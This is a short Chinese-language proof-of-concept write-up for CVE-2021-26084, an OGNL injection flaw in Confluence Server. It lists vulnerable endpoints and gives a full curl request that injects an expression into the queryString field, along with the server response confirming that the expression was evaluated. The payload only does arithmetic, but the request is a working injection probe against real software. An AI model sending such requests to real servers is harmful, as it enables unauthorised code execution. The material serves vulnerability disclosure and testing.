CVE-2021-26084 (PoC) | Confluence Server Webwork OGNL 注入

存在一个 OGNL 注入漏洞，允许已验证用户（在某些情况下未验证用户）在 Confluence Server 或 Data Center 实例上执行任意代码。

poc

我寻找入口点和注入点的战斗 XD

战斗 (1)	战斗 (2)

最终 Confluence 入口点被利用

https://<REDACTED>/users/user-dark-features
https://<REDACTED>/login
https://<REDACTED>/pages/templates2/viewpagetemplate.action
https://<REDACTED>/template/custom/content-editor
https://<REDACTED>/templates/editor-preload-container
https://<REDACTED>/pages/createpage-entervariables.action

我的第一次手动检查：注意：已通过身份验证的用户

# curl -i -s -k -X $'POST' -H $'Host: <REDACTED>' -H $'User-Agent: alex666' -H $'Connection: close' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 44' -b $'JSESSIONID=<REDACTED>' --data-binary $'queryString=alt3kx\\u0027%2b#{6*666}%2b\\u0027' $'https://<REDACTED>/pages/createpage-entervariables.action'

服务器响应：

HTTP/1.1 200 
X-ASEN: <REDACTED>
Expires: Thu, 01 Jan 1970 00:00:00 GMT
<REDACTED>

[../snip]
<input type="hidden" name="queryString" value="alt3kx{3996=null}" />

参考：

https://jira.atlassian.com/browse/CONFSERVER-67940
https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html

这里发布了一篇精彩的文章：
https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md

一些非常有用的提示来自：
@wvuuuuuuuuuuuuu
@iamnoooob

作者

Alex Hernandez 又名 (@_alt3kx_)

CVE-2021-26084_PoC

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